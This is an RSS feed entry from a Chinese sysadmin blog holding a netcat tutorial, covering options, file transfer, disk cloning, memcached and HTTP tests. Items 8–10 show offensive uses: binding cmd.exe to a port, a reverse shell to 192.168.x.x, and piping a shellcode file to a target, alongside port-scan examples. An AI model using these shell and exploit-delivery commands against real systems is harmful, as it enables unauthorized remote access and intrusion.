<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Ops运维 | Mr`kang Blog｜小豆子]]></title> 
<link>https://www.cnmysql.com/index.php</link> 
<description><![CDATA[关注服务器运维技术、DB优化、Docker虚拟化、自动化运维、工作积累]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Ops运维 | Mr`kang Blog｜小豆子]]></copyright>
<item>
<link>https://www.cnmysql.com/post//</link>
<title><![CDATA[Linux nc (netcat) 详解]]></title> 
<author>kangyang &lt;kangyang315@qq.com&gt;</author>
<category><![CDATA[LINUX系统管理]]></category>
<pubDate>Wed, 06 Aug 2014 07:10:51 +0000</pubDate> 
<guid>https://www.cnmysql.com/post//</guid> 
<description>
<![CDATA[ 
	<span style="color: #8B0000;"><span style="font-size: 12px;"><span style="font-family: 宋体;">功能说明：强大的网络工具<br/>语　　法：nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]<br/>参　　数：<br/>-g<网关> 设置路由器跃程通信网关，最多可设置8个。<br/>-G<指向器数目> 设置来源路由指向器，其数值为4的倍数。<br/>-h 在线帮助。<br/>-i<延迟秒数> 设置时间间隔，以便传送信息及扫描通信端口。<br/>-l 使用监听模式，管控传入的资料。<br/>-n 直接使用IP地址，而不通过域名服务器。<br/>-o<输出文件> 指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存。<br/>-p<通信端口> 设置本地主机使用的通信端口。<br/>-r 乱数指定本地与远端主机的通信端口。<br/>-s<来源位址> 设置本地主机送出数据包的IP地址。<br/>-u 使用UDP传输协议。<br/>-v 显示指令执行过程。<br/>-w<超时秒数> 设置等待连线的时间。<br/>-z 使用0输入/输出模式，只在扫描通信端口时使用。<br/><br/>linux nc (netcat)最新版源码下载及nc命令详解<br/><a href="http://netcat.sourceforge.net/" target="_blank">http://netcat.sourceforge.net/</a><br/>扩展资料一: nc简单使用示例<br/>简单用法举例<br/>1.端口扫描<br/># nc -v -w 2 192.168.2.34 -z 21-24<br/>nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused<br/>Connection to 192.168.2.34 22 port [tcp/ssh]succeeded!<br/>nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused<br/>nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused<br/>2.从192.168.2.33拷贝文件到192.168.2.34<br/>在192.168.2.34上：<br/>nc -lp 1234 > test.txt<br/>在192.168.2.33上：<br/>nc 192.168.2.34 1234 < test.txt<br/>3.简单聊天工具<br/>在192.168.2.34上：<br/>nc -l 1234<br/>在192.168.2.33上：<br/>nc 192.168.2.34 1234<br/>这样，双方就可以相互交流了。使用ctrl+C(或D）退出。<br/>4.用nc命令操作memcached<br/>1）存储数据：printf "setkey 0 10 6rnresultrn” &#124;nc 192.168.2.34 11211<br/>2）获取数据：printf “get keyrn” &#124;nc 192.168.2.34 11211<br/>3）删除数据：printf “delete keyrn” &#124;nc 192.168.2.34 11211<br/>4）查看状态：printf "statsrn” &#124;nc 192.168.2.34 11211<br/>5）模拟top命令查看状态：watch “echo stats” &#124;nc 192.168.2.34 11211<br/>6）清空缓存：printf “flush_allrn” &#124;nc 192.168.2.34 11211 (小心操作，清空了缓存就没了）<br/>nc -l 1234<br/>nc 127.0.0.1 1234<br/>在端口1234建立连接，互相发送输入<br/>nc -p 1234 -w 5 host.example.com 80<br/>建立从本地1234端口到host.example.com的80端口连接，5秒超时<br/>nc -u host.example.com 53<br/>u为UDP连接<br/>echo -n "GET / HTTP/1.0"r"n"r"n" &#124; nc host.example.com 80<br/>连接到主机并执行<br/>nc -v -z host.example.com 70-80<br/>扫描端口(70到80)，可指定范围。-v输出详细信息。<br/>5.连接到远程主机<br/>格式：nc -nvv 192.168.x.x 80<br/>讲解：连到192.168.x.x的TCP80端口<br/>6.监听本地主机<br/>格式：nc -l -p 80<br/>讲解：监听本机的TCP80端口<br/>7.扫描远程主机<br/>格式：nc -nvv -w2 -z 192.168.x.x 80-445<br/>讲解：扫描192.168.x.x的TCP80到TCP445的所有端口<br/>8.REMOTE主机绑定SHELL，例子：<br/>格式：nc -l -p 5354 -t -e c:&#92;winnt&#92;system32&#92;cmd.exe<br/>讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口<br/>9.REMOTE主机绑定SHELL并反向连接，例子：<br/>格式：nc -t -e c:&#92;winnt&#92;system32&#92;cmd.exe 192.168.x.x 5354<br/>讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口<br/>以上为最基本的几种用法（其实NC的用法还有很多，<br/>当配合管道命令"&#124;"与重定向命令"<"、">"等等命令功能更强大......）。<br/>10.作攻击程序用，例子：<br/>格式1：type.exe c:&#92;exploit.txt&#124;nc -nvv 192.168.x.x 80<br/>格式2：nc -nvv 192.168.x.x 80 < c:&#92;exploit.txt<br/>讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:&#92;exploit.txt'的内容(两种格式确有相同的效果，真是有异曲同工之妙:P)<br/>附：'c:&#92;exploit.txt'为shellcode等<br/>11.作蜜罐用[1]，例子：<br/>格式：nc -L -p 80<br/>讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止<br/>12.作蜜罐用[2]，例子：<br/>格式：nc -L -p 80 > c:&#92;log.txt<br/>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:&#92;log.txt'中，如果把‘>'<br/>　 改为‘>>'即可以追加日志<br/>附：'c:&#92;log.txt'为日志等<br/>13.作蜜罐用[3]，例子：<br/>格式1：nc -L -p 80 < c:&#92;honeypot.txt<br/>格式2：type.exe c:&#92;honeypot.txt&#124;nc -L -p 80<br/>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:&#92;honeypot.txt'的内容‘送'入其管道中！<br/>14.备份档案<br/>A机的资料夹 /data备份到B主机的backup.tgz<br/>源主机: tar czf - work&#124;nc -l -c -p 1234<br/>目的主机: nc 192.168.0.1 1234 >a.tgz<br/>或<br/>A:tar -zcf data&#124;nc -l -p 4444<br/>B:nc a 4444 >backup.tgz<br/>传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿<br/>扩展资料二:命令linux nc命令传输文件<br/>nc到底干嘛用的我不多描述，今天主要讲下用nc传输文件。由于公司的设备sudo后没有ssh，scp等远程接入命令，或host.deny里面设置了ssh的deny，不管怎样的原因。我今天跨过大家常用的scp,来说明下一个更有用的轻量级工具，nc的另一个强大的功---文件传输。<br/>范例如下：<br/>目的主机监听<br/>nc -l 监听端口 >要接收的文件名<br/>nc -l 4444 > cache.tar.gz<br/>源主机发起请求<br/>nc 目的主机ip 目的端口<br/>nc 192.168.0.85 4444<br/>netstat如下<br/>[root@localhost jiangbao]# netstat -tpln<br/>tcp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0 0.0.0.0:4444&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0.0.0.0:*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LISTEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;18166/nc<br/>英文描述如下<br/>DATA TRANSFER<br/>Start by using nc to listen on a specific port, with output captured into a file:<br/>$ nc -l 1234 > filename.out<br/>Using a second machine, connect to the listening nc process, feeding it the file whichis to be transferred:<br/>$ nc host.example.com 1234<br/>扩展资料三: linux nc (NetCat)命令详解,这篇文章对nc的介绍非常详细，和以上资料有部分重复.<br/>一、版本<br/>通常的Linux发行版中都带有NetCat（简称nc），甚至在拯救模式光盘中也由busybox提供了简版的nc工具。但不同的版本，其参数的使用略有差异。<br/>NetCat 官方地址：<a href="http://netcat.sourceforge.net/" target="_blank">http://netcat.sourceforge.net/</a><br/>[root@hatest1 ~]# cat /etc/asianux-release<br/>Asianux release 2.0 (Trinity SP2)<br/>[root@hatest1 ~]# cat /etc/redflag-release<br/>Red Flag DC Server release 5.0 (Trinity SP2)<br/>[root@hatest1 ~]# type -a nc<br/>nc is /usr/bin/nc<br/>[root@hatest1 ~]# rpm -q nc<br/>nc-1.10-22<br/>建议在使用前，先用man nc看看帮助。这里以红旗DC Server 5.0上的1.10版本进行简单说明。<br/>假设两服务器信息：<br/>server1: 192.168.228.221<br/>server2: 192.168.228.222<br/>二、常见使用<br/>1、远程拷贝文件<br/>从server1拷贝文件到server2上。需要先在server2上，用nc激活监听，server2上运行：<br/>[root@hatest2 tmp]# nc -lp 1234 > install.log<br/>server1上运行：<br/>[root@hatest1 ~]# ll install.log<br/>-rw-r–r–&nbsp;&nbsp; 1 root root 39693 12月 20&nbsp;&nbsp; 2007 install.log<br/>[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log<br/>2、克隆硬盘或分区<br/>操作与上面的拷贝是雷同的，只需要由dd获得硬盘或分区的数据，然后传输即可。<br/>克隆硬盘或分区的操作，不应在已经mount的的系统上进行。所以，需要使用安装光盘引导后，进入拯救模式（或使用Knoppix工具光盘）启动系统后，在server2上进行类似的监听动作：<br/># nc -l -p 1234 &#124; dd of=/dev/sda<br/>server1上执行传输，即可完成从server1克隆sda硬盘到server2的任务：<br/># dd if=/dev/sda &#124; nc 192.168.228.222 1234<br/>※完成上述工作的前提，是需要落实光盘的拯救模式支持服务器上的网卡，并正确配置IP。<br/>3、端口扫描<br/>可以执行：<br/># nc -v -w 1 192.168.228.222 -z 1-1000<br/>hatest2 [192.168.228.222] 22 (ssh) open<br/>4、保存Web页面<br/># while true; do nc -l -p 80 -q 1 < somepage.html; done<br/>5、模拟HTTP Headers<br/>[root@hatest1 ~]# ncwww.linuxso.com 80<br/> <br/>GET / HTTP/1.1<br/>Host: ispconfig.org<br/>Referrer: mypage.com<br/>User-Agent: my-browser<br/> <br/> <br/>HTTP/1.1 200 OK<br/>Date: Tue, 16 Dec 2008 07:23:24 GMT<br/>Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8<br/>Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/<br/>Expires: 0<br/>Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br/>Pragma: no-cache<br/>Cache-Control: private, post-check=0, pre-check=0, max-age=0<br/>Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/<br/>Vary: Accept-Encoding<br/>Transfer-Encoding: chunked<br/>Content-Type: text/html<br/>[......]<br/>在nc命令后，输入红色部分的内容，然后按两次回车，即可从对方获得HTTP Headers内容。<br/>6、聊天<br/>nc还可以作为简单的字符下聊天工具使用，同样的，server2上需要启动监听：<br/>[root@hatest2 tmp]# nc -lp 1234<br/>server1上传输：<br/>[root@hatest1 ~]# nc 192.168.228.222 1234<br/>这样，双方就可以相互交流了。使用Ctrl+D正常退出。<br/>7、传输目录<br/>从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上，用nc激活监听，server2上运行：<br/>[root@hatest2 tmp]# nc -l 1234 &#124;tar xzvf -<br/>server1上运行：<br/>[root@hatest1 ~]# ll -d nginx-0.6.34<br/>drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34<br/>[root@hatest1 ~]# tar czvf – nginx-0.6.34&#124;nc 192.168.228.222 1234<br/>8、参数简介<br/>这仅是一个1.10版本的简单说明，详细的参数使用还是需要看man：<br/>想要连接到某处: nc [-options] hostname port[s] [ports] …<br/>绑定端口等待连接: nc -l -p port [-options] [hostname] [port]<br/>参数:<br/>-g gateway source-routing hop point[s], up to 8<br/>-G num source-routing pointer: 4, 8, 12, …<br/>-h 帮助信息<br/>-i secs 延时的间隔<br/>-l 监听模式，用于入站连接<br/>-n 指定数字的IP地址，不能用hostname<br/>-o file 记录16进制的传输<br/>-p port 本地端口号<br/>-r 任意指定本地及远程端口<br/>-s addr 本地源地址<br/>-u UDP模式<br/>-v 详细输出——用两个-v可得到更详细的内容<br/>-w secs timeout的时间<br/>-z 将输入输出关掉——用于扫描时，其中端口号可以指定一个或者用lo-hi式的指定范围。<br/>三、版本差异<br/>不用系统上提供的nc版本会有说不同，其提供的参数使用方法也略有差异。<br/>例如，红旗Asianux 3.0 SP1拯救光盘上的版本是供使用的参数仅有一部分：<br/># nc -h<br/>BusyBox v1.2.0 (2008.04.14-01:35+0000) multi-call binary<br/>Usage: nc [OPTIONS] [IP] [port]<br/>Netcat opens a pipe to IP:port<br/>Options:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; listen mode, for inbound connects<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -p PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; local port number<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -i SECS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delay interval for lines sent<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -e PROG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; program to exec after connect (dangerous!)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -w SECS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; timeout for connects and final net reads<br/>而在Asianux 3.0 SP1系统中提供的nc版本则是1.84的，按上面的参数用法写会执行不了：<br/>[root@ftpserver ~]# rpm -q nc<br/>nc-1.84-10<br/>[root@ftpserver ~]# nc -lp 1234<br/>usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-x proxy_address[:port]] [hostname] [port[s]]<br/>讲查看man文档，可见在这个版本中，-l是不能与-s、-p、-z一起使用的，-w参数也会被忽略，所以，正确的用法是：<br/>[root@ftpserver tmp]# nc -l 1234<br/>四、用在脚本中<br/>nc每次启动监听后，都会在客户端连接完成并退出的同时，服务端一同退出。所以，如果需要不断的使用nc进行数据传输，需要在脚本中使用循环。利用nc实现更多的功能，可参考其rpm提供的参考脚本：<br/># rpm -qd nc<br/>/usr/share/doc/nc-1.10/Changelog<br/>/usr/share/doc/nc-1.10/README<br/>/usr/share/doc/nc-1.10/scripts/README<br/>/usr/share/doc/nc-1.10/scripts/alta<br/>/usr/share/doc/nc-1.10/scripts/bsh<br/>/usr/share/doc/nc-1.10/scripts/dist.sh<br/>/usr/share/doc/nc-1.10/scripts/irc<br/> <br/>/usr/share/doc/nc-1.10/scripts/iscan<br/>/usr/share/doc/nc-1.10/scripts/ncp<br/>/usr/share/doc/nc-1.10/scripts/probe<br/>/usr/share/doc/nc-1.10/scripts/web<br/>/usr/share/doc/nc-1.10/scripts/webproxy<br/>/usr/share/doc/nc-1.10/scripts/webrelay<br/>/usr/share/doc/nc-1.10/scripts/websearch<br/>/usr/share/man/man1/nc.1.gz</span></span></span>
]]>
</description>
</item><item>
<link>https://www.cnmysql.com/post//#blogcomment</link>
<title><![CDATA[[评论] Linux nc (netcat) 详解]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>https://www.cnmysql.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>